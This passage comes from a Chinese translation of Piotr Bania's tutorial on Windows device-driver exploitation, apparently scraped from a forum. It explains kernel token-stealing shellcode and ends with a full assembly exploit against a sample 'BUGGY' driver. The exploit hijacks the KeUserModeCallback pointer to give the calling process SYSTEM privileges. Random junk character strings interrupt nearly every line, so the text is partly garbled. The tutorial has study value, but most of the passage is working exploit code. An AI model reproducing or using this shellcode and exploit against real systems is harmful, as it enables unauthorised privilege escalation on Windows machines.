/ O& x! e) ?5 [ 关键是如何执行我们的shellcode。通常我们使用与上次信号交换值的方法实现,而且仅需要改变第一次读取数据的前四个字节。$ f" q- B" ?, H; H
; make the old KeUserModeCallback_Routine point to our shellcode
: Z# W$ |" v; S9 f* P ; and exchange the source packet with destination packet & n+ x0 g7 n& ^4 w+ y9 q1 {
mov [edi+8],edi ; overwrite the old routine
$ t+ T9 _$ g6 {9 {5 y+ D add [edi+8],512 + 8 ; make it point to our shellc. 9 n4 Z! S6 v4 d, I
mov eax,[edi.D_PACKET.dp_src]
* ]% y- z3 K0 w, z0 w/ g mov edx,[edi.D_PACKET.dp_dest]
" V, ^0 o o A" {* l. K mov [edi.D_PACKET.dp_src],edx ; fill the packet structure ( ]5 W5 G- U% h% k8 U" P
mov [edi.D_PACKET.dp_dest],eax 4 {1 v% w. C7 z/ F( a0 o3 [! l
mov ecx,MY_ADDRESS_SIZE
( K) }& v8 k: }4 P& f V call talk2device ; do the magic thing!
! `) ]5 l# v" ?$ s8 y3 L
- t' c0 a0 | Y4 V5 O+ E! R+ l4 c" ]; E/ E9 l( w G
关键点5:开发特定的内核模式shellcode# C. W) y: B; b' L& H# Z
因为我们攻击的是逻辑上的驱动,我们没有办法使用常用的shellcode。我们可以使用少量的其他变量,比如windows syscall shellcode(公布在SecurityFocus,请参见参考文献)。但是有很多非常有用的例子,现在我就讨论下在Xcon 上Eyas 介绍到的shellcodde。
( h# B, s% D% y8 d9 Z l% m 这个想法非常简单。首先,我们需要找到System的token,然后我们将它分配给我们的进程——这会将给我们的进程System权限。. y5 P: i) m% j/ {; [$ y
步骤:* _, F& W) U5 U" d( S, r
- 找到ETHREAD(位于fs:[0x124])% s$ b4 e- V: K5 P
- 从ETHREAD开始遍历EPROCESS$ e7 c6 |' r4 t. A
- 我们使用EPROCESS.ActiveProcessLinks 检测所有运行中的进程3 G3 i& U4 l* N/ h n
- 我们将运行中的进程的pid 与System的pid 比较(Windows XP 始终为4)
. K6 y4 h% F( K' A1 e( a - 获得后,我们搜索我们进程的pid,并且讲System的token 分配给我们的进程
/ t3 L% r+ v& ^ 这里是完整的shellcode:& s4 h$ W/ N" S0 |
; ------------------------------------------------------------ ) s V' ?0 l' q: p
; Device Driver shellcode
2 k0 W+ j' K( `6 O! n, ^+ ]- b+ ` ; ------------------------------------------------------------
7 ^6 G0 Z1 ^* i3 m# w XP_PID_OFFSET equ 084h ; hardcoded numbers for Windows XP
. H+ w) p# r" A" _ XP_FLINK_OFFSET equ 088h
$ X0 }5 N1 D8 r7 f5 @ XP_TOKEN_OFFSET equ 0C8h & t5 N) Q n* P
XP_SYS_PID equ 04h $ A' J' b7 p# i. n. b' k/ M5 R! ]
my_shellcode proc
" e7 b0 h2 V# k. D2 v pushad 5 h( d2 `/ o M& T
db 0b8h ; mov eax,old_routine 0 @+ b9 N" d$ c# w2 W. P, _
old_routine dd 0 ; hardcoded
: h4 y7 q2 @3 O0 q1 B( `8 W db 0b9h ; mov ecx,routine_addr
5 z2 U' U9 _* Z8 ]; ?3 f3 e routine_addr dd 0 ; this too / X) Y. [& E! n |7 T9 q0 m2 j/ S- F
mov [ecx],eax ; restore old routine
$ ~: a' Z4 [3 \" }) ~ ; avoid multiple calls... - k- D7 M& A/ x% ?- B2 z
; ----------------------------------------- 6 R7 ~, H0 b7 ?
; start escalation procedure
3 A- K. c+ j) b& V ; ----------------------------------------- 6 |& @ Y2 C% _- b. m6 H8 Y
mov eax,dword ptr fs:[124h]
9 k9 g! n( N/ L+ O2 Z, A* c mov eax,[eax+44h]
; q& m: c4 @/ @. z+ r" g5 E push eax ; EAX = EPROCESS
: B+ \, m2 F F7 c. r3 c% l% E4 B s1: mov eax,[eax+XP_FLINK_OFFSET] ; EAX =
7 x% ^0 W7 J/ H! |9 n+ h EPROCESS.ActiveProcessLinks.Flink ' n4 g4 N% g T6 Q, _
sub eax,XP_FLINK_OFFSET ; EAX = EPROCESS of next process
# A" A: u3 c5 }1 f$ |$ O# w cmp [eax+XP_PID_OFFSET],XP_SYS_PID ; UniqueProcessId == SYSTEM PID ?
) F% W/ b9 U' \4 S jne s1 ; nope, continue search ; ?/ h t: f* E C
; EAX = found EPROCESS
' J& ?4 y, C: @- q mov edi,[eax+XP_TOKEN_OFFSET] ; ptr to EPROCESS.token 2 x6 ]5 n! D! J3 j7 _9 o1 X
and edi,0fffffff8h ; aligned by 8 : e0 C: P8 o- U0 c
pop eax ; EAX = EPROCESS
' _% {) P0 h( y n/ [- ? db 68h ; hardcoded push 8 R0 F& E; h J! I
my_pid dd 0 O4 k3 C4 L+ K( }) U3 k0 ^
pop ebx ; EBX = pid to escalate
3 n5 E, u9 J- M- S; W. j s2: mov eax,[eax+XP_FLINK_OFFSET] ; EAX = 1 ~1 T+ z$ h5 C$ p3 `0 t( l* ?
EPROCESS.ActiveProcessLinks.Flink
: v9 E( d$ N! X sub eax,XP_FLINK_OFFSET ; EAX = EPROCESS of next process $ U# N; q" f6 }5 ^1 b! M
cmp [eax+XP_PID_OFFSET],ebx ; is it our PID ??? ) O2 X# f; B- p' [6 N
jne s2 ; nope, try next one & w, O% c4 V$ k. o+ j9 Q4 r3 [
mov [eax+XP_TOKEN_OFFSET],edi ; party's over :)
' L- x: j( \1 K E1 d/ T# z popad / \* D2 e; B7 d2 V! D, o" L
db 68h ; push old_routine ' U6 Z8 H, E7 m7 m; L
old_routine2 dd 0 ; ret 1 E# @1 ?0 I3 A
ret ( d3 y) Z( ?8 b& n/ c4 }* m$ H
my_shellcode_size equ $ - offset my_shellcode
/ U% m. f* j+ A7 q( b% O my_shellcode endp;
: ^% I& ?" s5 B$ \% _5 Z9 R( }* ]' L7 P& h4 y' k) f# C
Q) V7 J L7 S0 o 结束语) o% Z/ D9 W7 Y. N' e6 p; B* v4 o- X$ J
最后希望你能够喜欢这个文档,如果你有什么疑问不能解决,请联系我。所有文章中设计的程序可以在网站http://pb.specialised.info 上下载。6 {1 m$ U% r& X3 O; q
参考文献:& e, K; S+ W7 m1 v3 ~/ J) j
1) Win32 Device Drivers Communication Vulnerabilities( j; v3 M% L- }0 F1 \5 `7 ?% }3 L- }
2) "Remote Windows Kernel Exploitation – Step into the Ring 0", by Barnaby Jack –, @: @5 @/ C$ a$ h e! V
eEYE digital security – http://www.eeye.com
# K1 u) ], \) l6 H 3) Eyas shellcode publication - ?
( F+ @+ @0 z# a$ y" _* j 4) "The Windows 2000/NT Native Api Reference", by Gary Nebett
& e: Q- ?% t; R) w 5) "Windows Syscall Shellcode", by myself -http://www.securityfocus.net/infocus/1844
+ j+ l6 |2 {1 B% Q9 F* q: s/ S 6) http://pb.specialised.info
& R, w! _ f x% A" L8 w$ V 附录:exploit
' c5 C" {3 d7 m$ e ; ------------------------------------------------------------ , e: k5 b9 ^# A7 [
; Sample local device driver exploit
" ~8 i- Y4 `9 ~ ; by Piotr Bania
& V' m+ J; U3 @) Q1 P. N4 C ; http://pb.specialised.info ( C* k2 `. r6 |+ _3 D
; All rights reserved
- y$ ]& E {$ ~0 q3 g3 F6 B% E0 V ; ------------------------------------------------------------ 5 S, v0 V {/ j4 h- T; [
include my_macro.inc 2 z% P3 Y* |7 Z8 B; n' E, q6 c
DEVICE_NAME equ "\\.\BUGGY"
, h7 L2 I6 c9 L0 x MY_ADDRESS equ 000110000h
$ _3 b8 B' z% K4 r# j" y. y" J, s3 ?8 T MY_ADDRESS_SIZE equ 512h ; some more
) ^6 A! h L9 A' e2 X d0 b D_PACKET struct
; i6 \9 G3 _3 g2 W3 a dp_dest dd 0
- e; `3 n; N+ D; w dp_src dd 0
9 D' \% s8 h7 f* Q Q" Q8 Y1 c: j D_PACKET ends
9 X9 M! [, D5 F( v( z4 I: A" X call find_KeUserModeCallback_Routine . a7 u* [, |1 X6 y
call get_ntos_base 4 |9 p4 g2 J9 X& s/ w
mov eax,dword ptr [real_ntos_base] ' ?( @+ R$ H) {2 y! r! o" [
add dword ptr [KeUserModeCallback_Routine],eax
1 |" V7 Q! }% X( F3 v* Z call open_device {) a' g2 p* U3 g# p
mov ebx,eax ) i3 v) J! S) T( _% O" o1 u c
push PAGE_EXECUTE_READWRITE % J; n4 F& [" X% R. Z" W
push MEM_COMMIT
/ [8 B( |% s/ A2 o2 b4 ^0 [' @ push MY_ADDRESS_SIZE ) B2 n4 m! |6 C+ i/ J- X# _( J7 ?
push MY_ADDRESS C1 L5 L; W; t/ A+ i1 q
@callx VirtualAlloc - J& M4 f( y& g3 w$ v' a" K, n
@check 0,"Error: cannot allocate memory!"
% z5 P& |( I. ^( J) z+ z mov edi,eax
5 c, I0 d) M+ |; R ; first signal copies original bytes to the buffer
" w" G# y3 n; x! d mov eax,dword ptr [KeUserModeCallback_Routine]
5 y' H* M9 t8 E$ C7 j mov dword ptr [routine_addr],eax
7 A2 M' A9 q: ]1 }3 ~+ a( b mov [edi.D_PACKET.dp_src],eax
6 c3 _; E+ F4 K- A5 R mov [edi.D_PACKET.dp_dest],edi 0 \ {" I/ R( ?( S
add [edi.D_PACKET.dp_dest],8
" ~: p! H/ s! }/ w- d mov ecx,512 - A% j: Y. h- m5 R& @/ Y1 e
call talk2device * R3 }1 w7 v4 D; E; L+ O' Z2 _
; original bytes are stored at edi+8 (in size of 512)
2 w# H! T N2 e# u8 U ; now lets fill the shellcode 6 M- s5 X A$ S- K& b: C
mov eax,[edi+8]
- z: D' ?; g% |3 x, T mov dword ptr [old_routine],eax 4 G; x5 [+ ?6 p; M+ e' R' i/ f
mov dword ptr [old_routine2],eax
, [# T6 ^* K2 q7 _/ B2 J( } @callx GetCurrentProcessId ! {4 [0 `# b8 u5 u- h/ m+ l- B* b0 x
mov dword ptr [my_pid],eax ) Q& v" r+ ?+ j; Y
push edi
% a$ S; M) ^. ] mov ecx,my_shellcode_size
# ]3 t$ D$ K3 D5 t add edi,512 + 8 ; U9 q# S1 @' @7 X
lea esi,my_shellcode & r, t& I, G# P) m% [1 z+ M" U: B
rep movsb
3 t% @' r& t0 F& K" v pop edi
* D+ d0 O3 h3 y- V ; make the old KeUserModeCallback_Routine point to our shellcode
* k, {% `9 L4 F# P ; and exchange the source packet with destination packet
# }! _* l; S5 I# L% x1 { mov [edi+8],edi
5 t* {3 m- T$ M' o9 F7 U3 A2 A add [edi+8],512 + 8
7 Q6 W2 d$ ^6 z3 a! ?9 B( g mov eax,[edi.D_PACKET.dp_src]
' g3 N% R% }' }1 B/ e) e mov edx,[edi.D_PACKET.dp_dest]
& L* G1 ]' D6 r& V# z/ _ mov [edi.D_PACKET.dp_src],edx ) x! F g5 ]& k3 K
mov [edi.D_PACKET.dp_dest],eax $ s0 a# l2 G, @3 q0 D
mov ecx,MY_ADDRESS_SIZE
I% k3 a5 p9 r+ o) ~1 ^$ s call talk2device
% n, ], G/ {+ ~3 t p& n2 ` push MEM_DECOMMIT " y2 b) }7 N5 V" V2 M9 u
push MY_ADDRESS_SIZE
' Q$ `* n: T( b9 e5 J push edi 1 G9 {/ |8 Q$ u) S& q. W2 j6 Y
@callx VirtualFree ( p. @, V9 u0 ~1 T) n
@debug "I'm escalated !!!",MB_ICONINFORMATION ) {7 V- H, {, e
exit: ; z g, Y$ q6 c5 c$ K
push 0 6 F8 ^9 F9 r0 e% X2 r
@callx ExitProcess
3 k2 W' I9 y; H7 F1 o ; ------------------------------------------------------------ - x/ s5 X1 ], A2 _6 l% K, j. B
; Device Driver shellcode
1 ?8 d: [# X) U; n8 \/ D ; ------------------------------------------------------------
* T9 X3 e: f$ _7 e' X- ] XP_PID_OFFSET equ 084h # {) A/ C0 |" X8 ]. {3 [4 V- |
XP_FLINK_OFFSET equ 088h
( I8 T+ {; M G! f/ S) ` XP_TOKEN_OFFSET equ 0C8h
; w5 N6 n4 x! i) p XP_SYS_PID equ 04h
; k5 K4 L% `) J. p8 z9 L( W my_shellcode proc
" Z, w {5 V" ]8 V7 b pushad % W t5 b {6 g6 g! B9 [
db 0b8h ; mov eax,old_routine
$ l1 T# G) W W8 ^ old_routine dd 0 ; hardcoded
; N' z8 f' r/ R4 o3 b' j db 0b9h ; mov ecx,routine_addr # z! o) _6 X, t5 U
routine_addr dd 0 ; this too $ q! Z: o- i, F
mov [ecx],eax ; restore old routine ! u& N/ C8 y( T" J" q
; avoid multiple calls...
5 C3 E. F" A0 l1 ^! I* s+ | ; ----------------------------------------- ( g ^. Y2 L+ b- g, U/ H* m
; start escalation procedure
9 p8 ^3 }( h) {, g. o* K ; -----------------------------------------
+ t7 O. v& N4 X) C, o0 t& c9 y mov eax,dword ptr fs:[124h]
' ~& z) h* ` A ]. h0 b- I mov eax,[eax+44h]
+ R# @( [! ^. V- {0 G1 G push eax ; EAX = EPROCESS 8 m; K1 W8 T# p) t. z
s1: mov eax,[eax+XP_FLINK_OFFSET] ; EAX =
2 ^4 l3 f j! E EPROCESS.ActiveProcessLinks.Flink
0 T& W/ O2 @; m sub eax,XP_FLINK_OFFSET ; EAX = EPROCESS of next process / d. I) X- P$ G8 I* R
cmp [eax+XP_PID_OFFSET],XP_SYS_PID ; UniqueProcessId == SYSTEM PID ? 7 f7 b7 Q8 J- k0 M+ t
jne s1 ; nope, continue search
: ?0 T) ~; C$ I6 r5 Y/ y0 ] ; EAX = found EPROCESS 8 f1 H2 o8 n$ a0 A+ M1 l2 c7 I6 c
mov edi,[eax+XP_TOKEN_OFFSET] ; ptr to EPROCESS.token
1 O& K. `7 M, h7 W( F8 x/ ?2 D" J5 i and edi,0fffffff8h ; aligned by 8
" c: p+ l9 [# I! B2 h; C pop eax ; EAX = EPROCESS 4 F7 d6 v, h c5 H! O7 s
db 68h ; hardcoded push M; P3 ~# d$ [0 J% k! x
my_pid dd 0 # _! S: i' {, B8 k# g9 N
pop ebx ; EBX = pid to escalate / |5 W/ x# W2 B* e* P- w+ ]
s2:
9 }. l. F5 o3 `. j4 l* Q3 M mov eax,[eax+XP_FLINK_OFFSET] ; EAX = EPROCESS.ActiveProcessLinks.Flink $ P& H' @* w/ |5 i1 g
sub eax,XP_FLINK_OFFSET ; EAX = EPROCESS of next process
0 `7 b V6 C, T1 w2 A: j# i+ B cmp [eax+XP_PID_OFFSET],ebx ; is it our PID ???
$ k3 j9 K- i: x, B# Z jne s2 ; nope, try next one
- f$ ^ p$ Z7 o0 \- @0 C" T* h( Y' d mov [eax+XP_TOKEN_OFFSET],edi ; party's over :)
' O' ?& ~% u) J2 V; G5 T+ @6 J popad
, h" u# ?! k2 d) F db 68h ; push old_routine
. m8 W* ]3 t5 [5 F7 I2 I4 ` old_routine2 dd 0 ; ret
* @% y4 V2 r! K( Z6 M* G ret / S( r2 u+ p& Y: X8 k/ g
tok_handle dd 0
6 p' S0 W- X- {9 o) w; \ my_shellcode_size equ $ - offset my_shellcode ( ^. |" o8 m9 F4 [( x
my_shellcode endp
% O6 F& o/ A5 ^- U% T ; ------------------------------------------------------------
9 c1 |. a& Q+ a4 }" V7 U( l ; finds the KeUserModeCallback_Routine from ntoskrnl.exe
% ?3 c5 F2 R$ ?7 c8 U- l' h& U ; ------------------------------------------------------------ ( [# M5 n4 m& D9 h
find_KeUserModeCallback_Routine proc
9 J) w7 q: F- A& b pushad q/ q) B+ S5 V! [# I# q
push 1 ;DONT_RESOLVE_DLL_REFERENCES
7 u0 u8 q: _' F3 K+ J; D- S- w1 X9 z push 0 8 x! M( R; v5 e! ?* @& P+ |: c. o1 g
@pushsz "C:\windows\system32\ntoskrnl.exe" : h! j$ s( E; l/ B8 A# M
@callx LoadLibraryExA
4 [$ D" Y5 k$ Z# V @check 0,"Error: cannot load library"
! N" B% s1 W/ y2 b, }2 B4 p- `/ ~ mov ebx,eax
5 u- d* w( h- c6 g @pushsz "KeUserModeCallback"
1 r( M; |4 ]! E push eax 5 }1 {0 X7 k& V5 [' w. @( i3 H$ {9 \
@callx GetProcAddress " S+ R$ o0 ]4 t( k9 W
mov edi,eax
, b+ a" k0 j5 d @check 0,"Error: cannot obtain KeUserModeCallback address"
& D, Q0 a5 g# [ scan_for_call: inc edi
% x) x4 A" p3 r( C% l# V cmp word ptr [edi],015FFh ; ^! }) n) p* O2 F' w! R" v. L
jne scan_for_call 9 }7 h' {* f8 m3 x
mov eax,[edi+2] " W+ {0 b! R+ v: [" I7 q+ e
mov ecx,[ebx+3ch] f2 j. {1 N; e5 ]! ~$ v. {
add ecx,ebx
* N2 K+ y0 e7 Y- a9 a8 d mov ecx,[ecx+34h] 3 r$ ]# o$ g; O o8 V
sub eax,ecx / ^2 \! Y0 @; |1 h) q
mov dword ptr [KeUserModeCallback_Routine],eax 5 S$ F6 Z) R) l, j) R, w
popad : n9 }8 I8 V- }% o' h: ?- N
ret , {1 x2 e8 r* ]6 c0 ?5 V) T& ]5 Z
find_KeUserModeCallback_Routine endp
O- P0 }( s: E ; ------------------------------------------------------------ " x5 f% `2 c8 H
; Gets ntoskrnl.exe module base (real)
) u) |: V- C2 Z. ] ; ------------------------------------------------------------ 4 E& }* ]7 ?" Z$ d
get_ntos_base proc 5 _% n/ G# Q0 a, T5 `) B! }7 p
local __MODULES : _MODULES
# Z& v) s3 ^5 }: }( w8 F1 E pushad : m) [% {; V5 f G$ Q
@get_api_addr "ntdll","NtQuerySystemInformation" ; f2 Z' \0 e: A U3 L' K
@check 0,"Error: cannot grab NtQuerySystemInformation address" 5 _! c1 J& F4 N3 J
mov ebx,eax
& P1 K& K1 N5 L: _/ u2 j2 O call a1 ; D8 P1 o, |1 S/ G
ns dd 0 ) Z4 i) P% n% s2 ]% i. [5 ^
a1: push 4 " j/ `$ B2 T9 k9 E) t3 e
lea ecx,[__MODULES] 8 p# A" ?2 F. S& e8 I
push ecx + P, H8 {' V5 }& f5 t/ \( ]
push SystemModuleInformation
$ v2 p$ l: i4 Y. @2 X5 ^ call eax
4 Q1 q+ A2 Y" e: R% j" j cmp eax,0c0000004h
$ S& r( N8 W( d% q+ p/ W, ^4 w& O7 } jne error_ntos
# g2 D# T5 i$ ^6 D# W: { push dword ptr [ns] 5 v% w) e ^$ m+ W- e8 ]4 L; x# @
push GMEM_FIXED or GMEM_ZEROINIT
6 N7 N2 {, N; w2 h3 R k @callx GlobalAlloc 9 T" p* e/ r! ?% m1 b* i! y; t
mov ebp,eax * n# r% @4 Z9 @* m6 E4 X5 N) o8 q
push 0
8 ^* f, o ?& e0 | push dword ptr [ns]
: i/ I! g4 p6 u# ^7 ^ push ebp $ |. f) v4 s0 w9 o- {9 I
push SystemModuleInformation ; ]8 v9 p' F% I C
call ebx + V3 B- q0 ?9 m% |& J
test eax,eax
# d+ ]+ p8 q3 |- A% w' |% [* O4 B' X n. p jnz error_ntos & x5 h9 N9 @" ^ E+ J/ b; o5 o
mov eax,dword ptr [ebp.smi_Base] + B6 q& _( J: R; @9 s, p
mov dword ptr [real_ntos_base],eax
. @: T3 m: Q/ X push ebp
8 E* K$ e0 z* G7 x @callx GlobalFree . ?* a& n- G3 E, C/ b
popad
- b7 L9 T4 O6 x5 ]% u% j ret ) G" H7 _0 ^$ |' d: V2 b
error_ntos: xor eax,eax n6 F, \& v! ^0 T4 j: h
@check 0,"Error: cannot execute NtQuerySystemInformation" " q" O# w3 w+ ~6 |% A# F
get_ntos_base endp 5 g, o" i* i0 `" E5 @1 {
; ------------------------------------------------------------
' v. G) M/ M" _5 e ; Opens the device we are trying to attack
% @' W: |; c' }# I9 b2 v ; ------------------------------------------------------------ ! q* g: N% K" w. _1 w
open_device proc 4 Y L" Y) c4 I1 R
pushad
S4 `4 _# p( Q) Q- s( ^ push 0 2 b' g; T0 | n* i: Q* m- l
push 80h
* r, F% X; \: I0 B8 d push 3 + i, m9 H4 A: P. w' s8 q! o
push 0
4 l! D# s. t, V4 e push 0
+ c# l! |; z) `8 x$ j push 0
' R0 H4 V, S5 H2 A2 O @pushsz DEVICE_NAME ' a7 a& L H7 }, U [, ]
@callx CreateFileA " ^, M; `: B* J
@check -1,"Error: cannot open device!" % C, t7 |: F O
mov dword ptr [esp+PUSHA_STRUCT._EAX],eax * ]. l! Q1 D6 [- h. [+ R" T
popad
M! v* d& ^: l5 b" Q: b# K ret 1 t7 L- I7 q5 G& z6 Z4 \. @
open_device endp
8 ^* j% H; H+ ^+ c! `" K ; ------------------------------------------------------------ 7 i. ~4 d9 }7 W. `- S1 F/ Q
; Procedure that communicates with the driver
7 T: z% o# s3 v- X" [3 C! H% g ; - {- F2 u& R! \
; ENTRY -> EDI = INPUT BUFFER
" O( d+ y1 f5 J% e ; ECX = INPUT BUFFER SIZE ; ]& k9 w- h2 x& q" h8 G
; EBX = DEVICE HANDLE & U# }1 W- G7 S
; ------------------------------------------------------------ * j: I) L9 U' Y/ j! f$ @3 P
talk2device proc [: {9 b% o5 I# T* c. d
pushad
0 n* H7 y4 }! {$ k1 Q. D$ B push 0
# c; v K* I) @- a1 I+ O: D push offset bytes_ret 9 w4 e! {8 {% N0 g5 C
push 0
) O: g4 s1 q% B0 N) h- j% i$ U% ? push 0 ; G! @/ X4 V- \. B- x# E* m
push ecx ) T& M& X8 |& a
push edi
+ y/ g9 U; o) @! I: _ push 011111111h
7 j- l L8 ^/ w+ C0 [ w push ebx # X& c! u* Y3 ~+ j0 _9 `4 R8 Z0 v4 n
@callx DeviceIoControl
6 K( E h2 K- R( p+ ]5 ?1 A9 {+ |! R) \ @check 0,"Error: Send() failed"
2 i$ Q+ t9 X/ h; Y popad
6 }1 i0 G3 V" v8 m! x ret 6 z8 S8 F4 z) w' {$ y0 T J9 O3 Q4 E
bytes_ret dd 0 9 V4 U% U5 a% ]9 l7 @8 @
talk2device endp
' |* v. \, k5 f4 m3 O4 V _MODULES struct
9 w! Y7 x( m) Y3 k/ a n dwNModules dd 0 2 V1 g( O8 x7 v* M! B) s
smi_Reserved dd 2 dup (0)
4 M0 U% _( o5 @0 d0 G9 D smi_Base dd 0
0 V3 b8 E2 p+ a6 z smi_Size dd 0
5 k# f. z. X: i5 m k9 h smi_Flags dd 0 & f0 x& R3 X3 b& }: C; W1 T
smi_Index dw 0
9 g3 l1 _/ F( o+ `+ U0 f8 c smi_Unknown dw 0 1 @' R* f: b/ B$ F) Z
smi_LoadCount dw 0 6 y- G5 J+ [4 ^$ | ^) _
smi_ModuleName dw 0 7 |+ t, H! ]9 T. x3 V! n+ K
smi_ImageName db 256 dup (0) Y) t4 q- j) L* j6 M1 M
ends
0 X/ ~* t2 \; G. n# R) _' d% B SystemModuleInformation equ 11
; ^6 w a( [3 z KeUserModeCallback_Routine dd 0 $ r$ e8 ]5 T5 D' z+ u% B$ ]$ C
real_ntos_base dd 0
0 Z0 u; _+ ]( J8 S, M base dd 0 * N8 U x$ [4 U% k5 m1 R$ E
include debug.inc / {5 u2 x2 Y3 y0 o1 s3 W
end start & B5 k1 I/ t; L, |2 a( r
, y1 t& q# }" a$ {3 V* r0 _6 N) Z e1 F# ~$ }- ^! f. Q
原文作者:Piotr Bania
2 D3 p( A8 r& h9 i5 W9 W) P( X! a 译者BLOG:http://hi.baidu.com/ayarei9 Y* B' ]% \! Y8 u% ]* E
- L7 I% o- }: S+ G# w* g- D5 w1 s C+ b
- m" T! C3 @ u2 K5 |7 m- l' ?/ Y
|
|